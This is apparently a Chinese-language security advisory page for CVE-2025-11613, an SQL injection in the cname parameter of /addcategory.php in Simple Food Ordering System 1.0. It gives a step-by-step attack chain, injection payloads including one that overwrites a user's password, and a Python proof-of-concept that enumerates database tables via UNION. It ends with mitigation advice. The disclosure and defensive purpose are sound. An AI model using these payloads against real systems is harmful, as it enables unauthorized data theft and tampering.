IPBUF安全漏洞报告
English
CVE-2025-11613 CVSS 6.3 中危

CVE-2025-11613:Simple Food Ordering System SQL注入漏洞

披露日期: 2025-10-11

漏洞信息

漏洞编号
CVE-2025-11613
漏洞类型
SQL注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
code-projects Simple Food Ordering System

相关标签

SQL注入SQL InjectionCVE-2025-11613Simple Food Ordering Systemcode-projectsaddcategory.phpWeb应用漏洞中危漏洞PHPMySQL

漏洞概述

CVE-2025-11613是code-projects公司开发的Simple Food Ordering System(简易食品订购系统)1.0版本中存在的一个安全漏洞。该漏洞于2025年10月11日被公开披露,CVSS 3.1评分为6.3分,属于中危级别漏洞。

该漏洞属于典型的SQL注入(SQL Injection)类型安全问题,位于系统的/addcategory.php文件中。具体而言,攻击者可以通过操控该文件中的cname参数(即分类名称参数)来构造恶意的SQL查询语句。由于应用程序未对用户输入进行充分的过滤和参数化处理,导致恶意SQL代码能够被注入到后端数据库查询中并被执行。

根据CVSS向量分析,该漏洞的攻击向量为网络(AV:N),攻击复杂度低(AC:L),攻击者仅需低权限(PR:L)即可发起攻击,无需用户交互(UI:N)。一旦漏洞被成功利用,攻击者可以在一定程度上读取、修改或删除数据库中的敏感信息,对系统的机密性、完整性和可用性均会造成低级别的影响。

该漏洞的利用代码已经公开,攻击者可以远程发起攻击。由于Simple Food Ordering System是一个开源的食品订购管理系统,常用于小型餐饮业务场景,因此该漏洞可能影响大量部署了该系统的中小型餐饮企业。

技术细节

该漏洞的根因在于/addcategory.php文件未对用户提交的cname参数进行严格的输入验证和SQL注入防护。当用户通过POST或GET请求提交分类名称(cname)时,该参数值被直接拼接到SQL INSERT或UPDATE语句中,而没有使用预编译语句(Prepared Statements)或参数化查询(Parameterized Queries)。

攻击原理:
1. /addcategory.php文件接收用户提交的cname参数用于添加新的食品分类。
2. 后端代码可能采用类似以下的SQL语句拼接方式:INSERT INTO category (cname) VALUES ('$cname'),其中$cname直接取自用户输入。
3. 攻击者可以通过在cname参数中注入SQL元字符(如单引号'、分号;、注释符--等)来改变原始SQL语句的语义。
4. 例如,提交cname=test' OR '1'='1可能导致SQL语句变为INSERT INTO category (cname) VALUES ('test' OR '1'='1'),从而绕过预期逻辑。
5. 更进一步,攻击者可以使用UNION SELECT语句读取数据库中的其他表数据,或使用堆叠查询执行多条SQL语句。

利用方式:
- 攻击者通过低权限账号登录系统(PR:L),访问/addcategory.php页面。
- 在cname参数中构造SQL注入payload,如cname=test','1'); UPDATE users SET password='hacked' WHERE id=1;--
- 提交请求后,恶意SQL语句被执行,可能导致数据泄露、数据篡改或权限提升。
- 该漏洞可远程利用(AV:N),且已有公开的Exploit可供使用。

攻击链分析

STEP 1
第一步:信息收集
攻击者通过搜索引擎或Shodan等工具识别部署了Simple Food Ordering System 1.0的目标系统,并确认其使用/addcategory.php页面进行分类管理。
STEP 2
第二步:获取低权限凭证
由于漏洞利用需要低权限(PR:L),攻击者通过注册普通用户、购买凭证或利用其他漏洞获取系统的低权限账号。
STEP 3
第三步:构造注入Payload
攻击者分析/addcategory.php页面的cname参数处理逻辑,构造包含SQL注入语法的恶意payload,如使用单引号闭合、UNION SELECT或堆叠查询等技术。
STEP 4
第四步:发送恶意请求
攻击者通过HTTP POST请求向/addcategory.php提交包含恶意cname参数的payload,利用未参数化的SQL查询执行注入攻击。
STEP 5
第五步:数据提取或篡改
成功注入后,攻击者可通过UNION查询读取数据库中的用户凭证、订单信息等敏感数据,或通过UPDATE/DELETE语句篡改和删除数据。
STEP 6
第六步:权限提升或持久化
攻击者可能利用获取的管理员密码或直接通过SQL注入修改管理员账户,实现权限提升并在系统中建立持久化访问。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11613 - Simple Food Ordering System SQL Injection PoC # Vulnerability: SQL Injection in /addcategory.php via cname parameter # Method: POST import requests # Target configuration TARGET_URL = "http://target-site.com/addcategory.php" # Low-privilege session cookie (attacker needs at least low-level authentication) COOKIES = { "PHPSESSID": "your_session_id_here" } # SQL Injection payload via cname parameter # Payload uses single quote to break out of the SQL string and inject malicious SQL payload = { "cname": "test' OR '1'='1" } # Send the malicious request response = requests.post(TARGET_URL, data=payload, cookies=COOKIES) # Check response for SQL error or successful injection indicators if response.status_code == 200: print("[+] Request sent successfully") if "error" in response.text.lower() or "syntax" in response.text.lower(): print("[+] Possible SQL injection detected - error in response") else: print("[+] Payload may have been executed") else: print(f"[-] Request failed with status code: {response.status_code}") # Advanced payload: UNION-based injection to extract data # This payload attempts to enumerate database tables advanced_payload = { "cname": "test' UNION SELECT 1,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()-- " } response2 = requests.post(TARGET_URL, data=advanced_payload, cookies=COOKIES) print("[+] Advanced payload response:", response2.text[:500])

影响范围

code-projects Simple Food Ordering System 1.0

防御指南

临时缓解措施
在官方修复版本发布之前,建议采取以下临时缓解措施:1)通过Web应用防火墙(WAF)或反向代理配置规则,拦截包含SQL关键字(如UNION、SELECT、INSERT、UPDATE、DELETE、DROP等)和特殊字符(如单引号、分号、注释符等)的恶意请求;2)修改源代码,将/addcategory.php文件中所有涉及cname参数的SQL查询改为使用预编译语句(PDO或mysqli的prepare方式);3)对cname参数进行严格的输入验证,仅允许字母、数字和有限的特殊字符;4)将数据库账户权限降至最低,禁用FILE、PROCESS等危险权限;5)监控数据库日志,对异常的SQL查询行为进行告警。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表